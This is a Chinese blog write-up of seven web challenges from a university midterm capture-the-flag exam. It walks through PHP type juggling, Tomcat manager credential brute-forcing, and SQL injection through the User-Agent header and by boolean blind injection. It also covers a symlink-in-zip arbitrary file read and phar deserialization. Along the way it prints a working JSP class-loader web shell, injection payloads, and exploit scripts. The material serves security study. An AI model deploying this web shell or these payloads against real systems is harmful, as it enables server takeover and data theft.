• 期中考Web复现


    第一题 1z_php

    1. <?php
    2. //Yeedo told you to study hard!
    3. echo !(!(!(!(include "flag.php")||(!error_reporting(0))||!isset($_GET['OoO'])||!isset($_GET['0o0'])||($_GET['OoO']==2023)||!(intval($_GET['OoO'][0])==2023)||$_GET['0o0']==$_GET['OoO']||!(md5($_GET['0o0'])==md5($_GET['OoO'])))))?$flag:str_repeat(highlight_file(__FILE__), 0);

     代码审计

    intval($_GET['OoO'][0])==2023

     chatgpt给的回答,总之就是如果OoO这个数值intval转换不了整数2023,将会返回0

    传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023,此时将0o0自身与OoO进行弱比较相等,md5弱比较也相等的时候,通过三目运算符即可得到flag

    也就是说,如果flag前的那一串表达式为真,则输出flag的值,如果为假,则输出为0

    payload:/?OoO[]=2023.1&0o0[]=2023.a

                   /?0o0[]=2023aa&OoO[]=2023.111

    三目运算符

    intval函数的用法,可以直接看实例

    intval函数会返回字符串的有效数字部分,会将小数部分截去,只保留整数部分。

    echo intval(42);                      // 42

    echo intval(42a);                      // 0

    echo intval(42.1);                      // 42

    echo intval(42.9);                      // 42
    echo intval('42');                    // 42
    echo intval('+42');                   // 42
    echo intval('-42');                   // -42
    echo intval(042);                     // 34
    echo intval('042');                   // 42
    echo intval(1e10);                    // 1410065408
    echo intval('1e10');                  // 1
    echo intval(0x1A);                    // 26
    echo intval(42000000);                // 42000000
    echo intval(420000000000000000000);   // 0
    echo intval('420000000000000000000'); // 2147483647
    echo intval(42, 8);                   // 42
    echo intval('42', 8);                 // 34
    echo intval(array());                 // 0
    echo intval(array('foo', 'bar'));     // 1
    ?>

    第二题   签到O.o?

    打开题目,发现是关于Apache Tomcat/8.0.43的漏洞

    随意的输入账号和密码点击登录,然后bp抓数据包

    如果bp抓不到登录数据包,我们可以

    在代理中的HTTP历史记录中选中要抓取的tomcat登录地址,右键选择添加到范围

    在目标范围中便选中了我们要抓取的目标地址,这个时候便能重新登录抓取

    发现是账号和密码base64加密

    解码后发现账号和密码是以冒号连接,

    格式为  账号:密码

    然后我们选择用爆破,将账号和密码爆破出来

    我们选择singer模式

    并将Basic后面那串base64加密的账号密码Add$

    Payloads设定为选择:Custom iterator

    Custom iterator这里是指相当于把一条爆破语句拆成三个部分:账号:密码

    第一部分加载用户字典,第二部分输入英文符号: ,第三部分加载密码字典

    选择加密方式为Encode内的base64加密

    去掉URL前的勾,因为爆破的时候他会将特殊字符URL编码,我们不需要他帮我们编码

    登录后台后

    我们在网上找到jsp一句话木马文件,密码passwd

    1. <%!
    2. class U extends ClassLoader {
    3. U(ClassLoader c) {
    4. super(c);
    5. }
    6. public Class g(byte[] b) {
    7. return super.defineClass(b, 0, b.length);
    8. }
    9. }
    10. public byte[] base64Decode(String str) throws Exception {
    11. try {
    12. Class clazz = Class.forName("sun.misc.BASE64Decoder");
    13. return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
    14. } catch (Exception e) {
    15. Class clazz = Class.forName("java.util.Base64");
    16. Object decoder = clazz.getMethod("getDecoder").invoke(null);
    17. return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
    18. }
    19. }
    20. %>
    21. <%
    22. String cls = request.getParameter("passwd");
    23. if (cls != null) {
    24. new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    25. }
    26. %>

    我们需要将jsp一句话木马文件压缩为zip文件,再将文件名后缀改为war,注意文件必须是jsp文件才能被解析,而不是txt文件

     上传成功后会显示ok,我们用蚁剑连接我们上传的nmd.jsp木马文件

    在根目录下找到了flag

    第三题    1z_sql

     给了源代码

    1. <?php
    2. error_reporting(0);
    3. $dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
    4. $dbpassword ='root';
    5. $dbname ="kind";
    6. $servername = 'localhost';
    7. $conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
    8. if ($conn->connect_error) {
    9. die("连接失败: " . $conn->connect_error);
    10. }
    11. //echo "连接成功";
    12. function waf($str){
    13. $str=trim($str);
    14. $str=addslashes($str);
    15. $str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
    16. $str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符
    17. return $str;
    18. }
    19. function waf2($str){
    20. $black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
    21. if(preg_match($black_list,$str))
    22. {
    23. echo "
      "
      ;
    24. echo "你注你🐎呢";
    25. echo "
      "
      ;
    26. }
    27. else{
    28. return $str;
    29. }
    30. }
    31. $uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
    32. $IP = $_SERVER['REMOTE_ADDR'];
    33. if(isset($_POST['username']) && isset($_POST['password']))
    34. {
    35. $username = waf($_POST['username']);
    36. $password = waf($_POST['password']);
    37. $uagent = waf2($uagent);
    38. $sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
    39. $result1 = mysqli_query($conn,$sql);
    40. $row1 = mysqli_fetch_array($result1);
    41. if($row1)
    42. {
    43. //echo '< font size = 3 >';
    44. $insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
    45. // echo $insert;
    46. // echo "
      "
      ;
    47. mysqli_query($conn,$insert);
    48. //echo 'Your IP ADDRESS is: ' .$IP;
    49. echo "";
    50. //echo "
      "
      ;
    51. //echo '';
    52. echo 'Your User Agent is: ' .$uagent;
    53. echo "";
    54. echo "
      "
      ;
    55. print_r(mysqli_error($conn));
    56. echo "

      "
      ;
    57. echo "
      "
      ;
    58. //echo 'your uname is: '.$username;
    59. echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
    60. }
    61. else
    62. {
    63. //echo '';
    64. //echo "Try again looser";
    65. //print_r(mysqli_error($conn));
    66. echo "
      "
      ;
    67. echo "
      "
      ;
    68. echo "";
    69. echo "这都不行?还不好好学?";
    70. }
    71. }
    72. ?>
    73. <!DOCTYPE html>
    74. <html>
    75. <head>
    76. <meta charset="utf-8">
    77. <title>真的很简单</title>
    78. </head>
    79. <body>
    80. <h1>登录</h1>
    81. <p>Here is a poor page</p>
    82. <h2>
    83. <form method="post" action="PHP_SELF"]);?>">
    84. username: <input type="text" name="username"><br>
    85. password: <input type="password" name="password"><br>
    86. <input type="submit" name="登录" value="登录"/>
    87. </form>
    88. </h2>
    89. <h3>
    90. </h3>
    91. </body>
    92. </html>

    代码审计

    $uagent = $_SERVER['HTTP_USER_AGENT'];:这一行获取用户的User-Agent信息

    $IP = $_SERVER['REMOTE_ADDR'];:这一行获取用户的IP地址。(remote_addr代表客户端的IP,但它的值不是由客户端提供的,而是服务端根据客户端的ip指定的,当你的浏览器访问某个网站时,假设中间没有任何代理,那么网站的web服务器就会把remote_addr设为你的机器IP,如果你用了某个代理,那么你的浏览器会先访问这个代理,然后由这个代理转发到网站,这样web服务器就会把remote_addr设为这台代理机器的IP)

    if(isset($_POST['username']) && isset($_POST['password'])):这是一个条件语句,用于检查是否已经提交了用户名和密码。

    INSERT INTO uagents:在用户成功登录后,代码试图将User-Agent和其他信息插入名为uagents的数据库表。确保数据库表和字段名正确定义,并且数据库连接和查询操作都正确。

    waf 函数用于对用户输入进行处理,包括去除特殊符号和空格

    • 在代码的主要部分,它首先获取用户的User-Agent和IP地址。然后,它检查是否设置了 $_POST['username']$_POST['password'],这意味着它期望从HTML表单中接收用户名和密码。

    • 如果用户名和密码都被设置,它将对它们进行 waf 处理,并构建一个SQL查询,以从数据库中检索匹配的用户名和密码。然后,它执行查询并获取结果。

    • 如果查询结果中有匹配的用户名和密码,它将插入User-Agent、IP地址和用户名到名为 uagents 的表中,并输出一些信息,包括User-Agent和可能的数据库错误信息。

    • 如果没有匹配的用户名和密码,它将输出一些错误消息。

    我们可以随意输入账号和密码进行bp抓包,然后将账号和密码添加§,攻击类型选择集束炸弹,然后修改两个有效载荷,即可用bp同时爆破账号和密码

    但是这里我们已知用户名为admin,爆破密码,得到密码为8888888

    我们登录后台后,得到

    这里涉及到ua注入,相关wp见:CTFHub(UA注入和Refer注入)-CSDN博客

    UA也称User-Agent,当用户发起一个请求时,网站会通过判断 UA的数据,如(名称,版本,浏览器内核,内核版本)等等,来给不同的操作系统,不同的浏览器发送不同的页面

    一般来说,普通的 SQL 注入是对 URL 及参数进行的,但这里攻击者却将 SQL 查询语句隐藏在了 HTTP 头部的User-Agent字段之中 ,也称UA注入

    在HackBar实现ua注入,注意ua注入前要加空格

    得到flag
     

    payload:

    1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#
    1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
    information_schema.tables where table_schema like "kind"),0x5c))))# //sheet1 uagent
    1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from
    information_schema.columns where table_schema like "kind" && table_name like
    "sheet1"),0x5c))))# //username password
    1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
    kind.sheet1),0x5c))))# //admin8888888,fllllaaagYunxi{
    1',2,(extractvalue(1,concat(0x5c,left((select
    right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
    //cb0fb8571956248eb37e8b000757
    1',2,(extractvalue(1,concat(0x5c,left((select
    right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#
    //007572519}
    Yunxi{cb0fb8571956248eb37e8b0007572519}

    第四题   1z_upload

    这道题给了网站源码

    爆破得到账号密码

    账号admin,密码admin12345

    登录后发现文件上传的注入点,但是网站源码限制了不能上传含有eval,get,post,php的一句话木马

    那我们重新写个一句话木马,木马为jpg格式的

    将木马传至注入点

    在源码中发现了文件包含函数

    我们到木马路径下去执行命令

    在源文件中,我们发现jpg格式的图片都被存于以下路径下

    payload:

     admin_baohan.php?file=./bootstrap/img/hack.jpg

    bthcls=var_dump(scandir('ls'));

    bthcls=var_dump(file_get_contents('./flag.php'));

    得到flag

    第五题  1z_flask

    相关wp见BUUCTF [HCTF 2018] Hide and seek_ctfhide and seek-CSDN博客

      这里涉及到2023cisin 中的unzip的一道软链接的题目

    wp可见https://www.cnblogs.com/gxngxngxn/p/17439035.html

    记[HCTF 2018]Hideandseek_[hctf 2018]hide and seek-CSDN博客

    我们首先要了解一下软链接的概念

    类同与windos的快捷方式,给文件创建一个快速的访问路径,它依赖于原文件,与普通文件没什么不同,inode 都指向同一个文件在硬盘中的区块。当原文件出现问题后,该链接不可用。

    硬链接则是类似于文件备份

    这里随便上传个zip格式的一句话木马,发现页面空白

    软链接可以导致任意文件的读取,相关资料:软链接导致任意文件读取-腾讯云开发者社区-腾讯云

    压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。

    ln -s /etc/passwd passwd

    zip -y passwd.zip passwd

    (zip -y命令是直接保存符号连接,而非该连接所指向的文件)

    传入passwd.zip后,页面的回显

    成功被页面执行后,我们制作能够任意读取flag的软链接

    上传flag.zip的软链接后,页面无回显

    我们猜测可能是账户权限不够,所以我们用admin登录

    可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断,使用任意用户登陆,查看Cookie

    session=eyJ1c2VybmFtZSI6IjEifQ.GBFQ8g.HppAOJbZjDJnPPtADzlXFN6xu0


    知识点:

    Python常用框架:Flask

    相关链接:Flask干货:Flask数据交换——Session的使用 - 知乎

    Flask框架——Session与Cookie - 知乎

                用python语言基于Werkzeug工具箱编写的轻量级web开发框架,它主要面向需求简单,项目周期短的小应用

                 Flask本身相当于一个内核,其他几乎所有的功能都要用到扩展,都需要用第三方的扩展来实现。Flask没有默认使用的数据库、窗体验证工具

                 Session就是一种记录用户状态的机制。Flask的Session是基于Cookie实现的,经过加密保存在服务端的键值对(sesson[‘name’]=’value’)中

             因为Flask的Session是通过加密后放到Cookie中的,既然有加密就肯定有密钥,所以在使用Session模块时就一定要配置SECRET_KEY全局宏。一般我们可以自己设定一个随机字符串,例如:

    app.config[‘SECRET_KEY’] = ‘XXXXXXX’

    能不能导入os模块自动生成随机字符串呢?

    能!但是不建议。因为服务器每次启动后SECRET_KEY的值会被改变,会造成Session验证失败,用户还需要重新登录。糟糕的用户体验,可能不用几天网站就倒闭了!

              设置Session主要通过session[‘name’]=’value’方法来完成,name代表的是变量名称,value代表的是变量的值。

         获取Session的值有两种方法,推荐使用第2种:

    l result = session[‘name’]:如果内容不存在,将会报异常

    l result = session.get(‘name’):如果内容不存在,将返回None

    删除单个Session的值,可以使用Session.pop(‘key’)方法,如果要清除多个值,可以使用Session.clear()方法

    我们用session解密脚本

    1. import sys
    2. import zlib
    3. from base64 import b64decode
    4. from flask.sessions import session_json_serializer
    5. from itsdangerous import base64_decode
    6. def decryption(payload):
    7. payload, sig = payload.rsplit(b'.', 1)
    8. payload, timestamp = payload.rsplit(b'.', 1)
    9. decompress = False
    10. if payload.startswith(b'.'):
    11. payload = payload[1:]
    12. decompress = True
    13. try:
    14. payload = base64_decode(payload)
    15. except Exception as e:
    16. raise Exception('Could not base64 decode the payload because of '
    17. 'an exception')
    18. if decompress:
    19. try:
    20. payload = zlib.decompress(payload)
    21. except Exception as e:
    22. raise Exception('Could not zlib decompress the payload before '
    23. 'decoding the payload')
    24. return session_json_serializer.loads(payload)
    25. if __name__ == '__main__':
    26. print(decryption(sys.argv[1].encode()))
    运行命令:
    python3 flask-session-decode.py eyJ1c2VybmFtZSI6InRlc3QifQ.Et7HoQ.bJUvSzoorCsh7a3yjgnrN9vOUx4
    

    我们在Linux下导入脚本,并执行命令,pip3 install flask-session,即可使用脚本解密

    解密后的内容为:
    初步判断是以Session判断是否是admin用户,但伪造session还需要Flask的SECRET_KEY值。

    因为已经通过软连接读取任意文件,可以通过读取/proc/self/environ文件,以获取当前进程的环境变量列表。
    其中/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态,而environ是当前进程的环境变量列表

    制作读取该文件的软链接

    上传environ.zip文件后得到回显
    发现其存在UWSGI_INI=/app/uwsgi.ini,也就是uwsgi服务器的配置文件,其中可能包含有源码路径

    制作相关软链接后,

    上传后得到页面回显

        软链接读取文件的exp为

    1. import os
    2. import requests
    3. import sys
    4. def make_zip():
    5. os.system('ln -s ' + sys.argv[2] + ' test_exp')
    6. os.system('zip -y test_exp.zip test_exp')
    7. def run():
    8. make_zip()
    9. res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
    10. print(res.text)
    11. os.system('rm -rf test_exp')
    12. os.system('rm -rf test_exp.zip')
    13. if __name__ == '__main__':
    14. run()

    将文件设置保存为1.py,在kali下执行命令

    python3 1.py http://192.168.31.60:8084/upl0ad /app/uwsgi.ini

    得到内容为

    可以看到其源码应是hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls,使用EXP尝试读取源码:

    输入命令

    python flask_exp.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py
    /proc/
    得到flag

    第六题   1z_Sql2.0

    这里涉及到MySQL布尔盲注的知识点

    基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)

    我们先随便输入一个,页面返回nonono,猜测是布尔盲注

     payload

    'or(1<>1)#
    'or(length(database())>10)#
    'or(ord(substr(reverse(substr(database() from 1)) from 10))<>121)#
    'or(length((select(group_concat(password))from(yunxi_exam.users)))>0)#
    爆破表和字段
    password 是提示
    'or(length((select(group_concat(password))from(yunxi_exam.users)))>1)#
    'or(ord(substr(reverse(substr((select(group_concat(password))from(yunxi_exam.users))
    from(1)))from(37)))<>102)#
    'or(length((select(group_concat(hack123))from(yunxi_exam.bighacker2)))>1)#
    'or(ord(substr(reverse(substr((select(group_concat(hack123))from(yunxi_exam.bighacke
    r2))from(1)))from(52)))<>87)#

    第七题   1z_Upload2.0

    bp爆破以后得到账号和密码为admin,abc123

    在kali终端下用dirsearch扫描目录得到

    要先在kali下安装dirsearch工具,可参考kali安装dirsearch工具以及使用_一颗努力的小白菜的博客-CSDN博客

    命令dirsearch -u http://192.168.31.60:8082 -e*

    发现robots.txt和www.zip

    访问robots.txt得到页面回显

    访问/i_am_here.php得到密文

    base64解密后得到hint

    访问www.zip后得到一个下载文件

    发现需要解压密码,输入之前得到的hint即可解压

     解压得到

    add.php中的文件

    1. session_start();
    2. error_reporting(0);
    3. require_once "./functions/admin.php";
    4. $title = "Add new book";
    5. require "./template/header.php";
    6. // require "./functions/database_functions.php";
    7. // $conn = db_connect();
    8. $conn = mysqli_connect("mysql", "root", "bighacker", "obs_db");
    9. if(isset($_POST['add'])){
    10. $isbn = trim($_POST['isbn']);
    11. $isbn = mysqli_real_escape_string($conn, $isbn);
    12. $title = trim($_POST['title']);
    13. $title = mysqli_real_escape_string($conn, $title);
    14. $author = trim($_POST['author']);
    15. $author = mysqli_real_escape_string($conn, $author);
    16. $descr = trim($_POST['descr']);
    17. $descr = mysqli_real_escape_string($conn, $descr);
    18. $price = floatval(trim($_POST['price']));
    19. $price = mysqli_real_escape_string($conn, $price);
    20. $publisher = trim($_POST['publisher']);
    21. $publisherid = mysqli_real_escape_string($conn, $publisher);
    22. if (isset($_FILES['image']) && $_FILES['image']['name'] != "") {
    23. $image = $_FILES['image']['name'];
    24. // 检查文件名的扩展名是否已经是".php"
    25. $ext = pathinfo($image, PATHINFO_EXTENSION);
    26. // if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
    27. if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'jpeg') {
    28. // 将文件名的扩展名替换为".jpg"
    29. // $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';
    30. $content=file_get_contents($_FILES["image"]["tmp_name"]);
    31. $pos = strpos($content, "__HALT_COMPILER();");
    32. if (gettype($pos) === "integer") {
    33. header("Location: admin_get_hack.php?id=666");
    34. exit();
    35. }
    36. else{
    37. //移动文件到上传目录
    38. $directory_self = str_replace(basename($_SERVER['PHP_SELF']), '', $_SERVER['PHP_SELF']);
    39. $uploadDirectory = $_SERVER['DOCUMENT_ROOT'] . $directory_self . "bootstrap/img/";
    40. $uploadDirectory .= $image;
    41. move_uploaded_file($_FILES['image']['tmp_name'], $uploadDirectory);
    42. }
    43. }
    44. else{
    45. header("Location: admin_get_hack.php?id=6");
    46. exit();
    47. }
    48. // elseif (strtolower($ext) != 'jpg') {
    49. // // 忽略其他后缀名并不做修改
    50. // $image = $_FILES['image']['name'];
    51. // }
    52. }
    53. $query = "INSERT INTO books (`book_isbn`, `book_title`, `book_author`, `book_image`, `book_descr`, `book_price`, `publisherid`) VALUES ('" . $isbn . "', '" . $title . "', '" . $author . "', '" . $image . "', '" . $descr . "', '" . $price . "', '" . $publisherid . "')";
    54. $result = mysqli_query($conn, $query);
    55. if($result){
    56. $_SESSION['book_success'] = "New Book has been added successfully";
    57. header("Location: admin_book.php");
    58. } else {
    59. $err = "Can't add new data " . mysqli_error($conn);
    60. }
    61. }
    62. ?>
    63. class="fw-bolder text-center">Add New Bookh4>

    64. <center>
    65. <hr class="bg-warning" style="width:5em;height:3px;opacity:1">
    66. center>
    67. <div class="row justify-content-center">
    68. <div class="col-lg-6 col-md-8 col-sm-10 col-xs-12">
    69. <div class="card rounded-0 shadow">
    70. <div class="card-body">
    71. <div class="container-fluid">
    72. php if(isset($err)): ?>
    73. <div class="alert alert-danger rounded-0">
    74. _SESSION['err_login'] ?>
    75. div>
    76. php
    77. endif;
    78. ?>
    79. <form method="post" action="admin_add.php" enctype="multipart/form-data">
    80. <div class="mb-3">
    81. <label class="control-label">ISBNlabel>
    82. <input class="form-control rounded-0" type="text" name="isbn">
    83. div>
    84. <div class="mb-3">
    85. <label class="control-label">Titlelabel>
    86. <input class="form-control rounded-0" type="text" name="title" required>
    87. div>
    88. <div class="mb-3">
    89. <label class="control-label">Authorlabel>
    90. <input class="form-control rounded-0" type="text" name="author" required>
    91. div>
    92. <div class="mb-3">
    93. <label class="control-label">Imagelabel>
    94. <input class="form-control rounded-0" type="file" name="image">
    95. div>
    96. <div class="mb-3">
    97. <label class="control-label">Descriptionlabel>
    98. <textarea class="form-control rounded-0" name="descr" cols="40" rows="5">textarea>
    99. div>
    100. <div class="mb-3">
    101. <label class="control-label">Pricelabel>
    102. <input class="form-control rounded-0" type="text" name="price" required>
    103. div>
    104. <div class="mb-3">
    105. <label class="control-label">Publisherlabel>
    106. <select class="form-select rounded-0" name="publisher" required>
    107. <option value="" disabled selected>Please Select Hereoption>
    108. php
    109. $psql = mysqli_query($conn, "SELECT * FROM `publisher` order by publisher_name asc");
    110. while($row = mysqli_fetch_assoc($psql)):
    111. ?>
    112. <option value="row['publisherid'] ?>">row['publisher_name'] ?>option>
    113. php endwhile; ?>
    114. select>
    115. div>
    116. <div class="text-center">
    117. <button type="submit" name="add" class="btn btn-primary btn-sm rounded-0">Savebutton>
    118. <button type="reset" class="btn btn-default btn-sm rounded-0 border">Cancelbutton>
    119. div>
    120. form>
    121. div>
    122. div>
    123. div>
    124. div>
    125. div>
    126. php
    127. if(isset($conn)) {mysqli_close($conn);}
    128. require_once "./template/footer.php";
    129. ?>

    shell.php文件

    1. error_reporting(0);
    2. header("Content-Type:text/html;charset=utf-8");
    3. //猫捉老鼠 小猫想要抓老鼠,但有一只恶狗,你能帮帮小猫咪吗?
    4. class mouse{
    5. public $v1;
    6. public function __toString(){
    7. echo "Good. You caught the mouse:";
    8. include($this->v1);
    9. }
    10. }
    11. class cat{
    12. public $a;
    13. public $b;
    14. public $c;
    15. public function __destruct(){
    16. $this->dog();
    17. $this->b = $this->c;
    18. echo $this->b."I found a mouse";
    19. die($this->a);
    20. }
    21. public function dog(){
    22. $this->a = "I'm a vicious dog, Kitty";
    23. }
    24. }
    25. $file=$_POST['file'];
    26. if(isset($_POST['file'])){
    27. if(preg_match("/flag|php|functions|models|static|template|gitattributes|database|controllers|bootstrap|controllers|proc/i",$file)){
    28. die("nonono");
    29. }
    30. else{
    31. echo file_get_contents($file);
    32. }
    33. }
    34. ?>

    代码审计

    以下代码发现他会把php,phtml,php5,php2,jepg,gif,png为后缀的文件上传后统一修改为jpg格式的

     $image = $_FILES['image']['name'];
        // 检查文件名的扩展名是否已经是".php"
        $ext = pathinfo($image, PATHINFO_EXTENSION);
        // if (strtolower($ext) == 'php'|| strtolower($ext) == 'phtml' || strtolower($ext) == 'php5' || strtolower($ext) == 'php2') {
        if (strtolower($ext) == 'jpg'|| strtolower($ext) == 'png' || strtolower($ext) == 'gif' || strtolower($ext) == 'jpeg') {
            // 将文件名的扩展名替换为".jpg"
            // $image = pathinfo($image, PATHINFO_FILENAME) . '.jpg';

    以下代码发现他会过滤/flag,php,$file等字符

    $file=$_POST['file'];
    if(isset($_POST['file'])){
        if(preg_match("/flag|php|functions|models|static|template|gitattributes|database|controllers|bootstrap|controllers|proc/i",$file)){
            die("nonono");
        }
        else{
            echo file_get_contents($file);
        }

    考察phar反序列化


    相关知识点:

    参考文章:phar反序列化+两道CTF例题_ctf phar反序列化_Z3eyOnd的博客-CSDN博客

    phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。(漏洞利用点)
    什么是phar文件

    在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发

    php通过用户定义和内置的“流包装器”实现复杂的文件处理功能。内置包装器可用于文件系统函数,如(fopen(),copy(),file_exists()和filesize()。 phar://就是一种内置的流包装器
     


    我们需要生成phar文件

    1. class mouse
    2. {
    3. public $v1="php://filter/read=convert.base64-encode/resource=flag.php";
    4. }
    5. class cat
    6. {
    7. public $a;
    8. public $b;
    9. public $c;
    10. }
    11. $m=new cat;
    12. $m->c=new mouse;
    13. // echo serialize($m);
    14. // Sobj= new Test();
    15. //$obj -> name = "quan9i";
    16. $phar = new Phar('exam.phar');
    17. $phar -> startBuffering();//开始缓冲 Phar 写操作
    18. $phar -> setStub('GIF89a'); //设置stub,添加gif文件头
    19. $phar ->addFromString('test.txt','test'); //要压缩的文件
    20. $phar -> setMetadata($m);//将自定义meta-data存入manifest
    21. $phar -> stopBuffering(); 停止缓冲对 Phar 归档的写入请求,并将更改保存到磁盘
    22. ?>

    脚本修改phar的文件绕过

    1. import gzip
    2. from hashlib import sha1
    3. with open('E:\\vscode\\vscode newfile\\phar\\exam.phar', 'rb') as file:
    4. f=file.read()
    5. s = f[:-28]#获取要签名的数据
    6. s = s.replace(b'3:{', b'4:{')#更换属性值,绕过_wakeup h=f[—8:] # 获取签名类型以及GBMB标识
    7. h = f[-8:]
    8. newf = s +sha1(s).digest() + h#数据+签名+(类型+GBMB)
    9. #print(newf)
    10. newf = gzip.compress(newf)#对Phar文件进行gzip压缩
    11. with open('E:\\vscode\\vscode newfile\\phar\\hack.jpg','wb')as file:#更改文件后缀 file.write(newf)
    12. file.write(newf)

    会生成一个jpg的文件

    文件上传点上传文件,并利用phar伪协议来查看flag

    上传文件,找到了文件上传路径

    bp抓包后

    phar://.bootstrap/img/bthcls.jpg

    得到的flag进行base64解密即可

  • 相关阅读:
    面向专业开发者的Python IDE——PyCharm,各个版本如何抉择?
    【概率论基础进阶】随机变量的数字特征-矩、协方差和相关系数
    实时 Path Tracing 实现
    springboot+vue基于j2ee企业人力资源管理系统设计与实现(论文+项目源码)
    线程池源码解析 1.前导_FutureTask源码解析
    【操作系统】实验CPU Scheduling--附讲解视频
    我代码就加了一行 log 日志,结果引发了 P1 的线上事故
    spark基础
    nisshinbo日清纺NJW4750-T1四通道组合稳压器应用方案
    prometheus告警流程及相关时间参数说明
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/133867742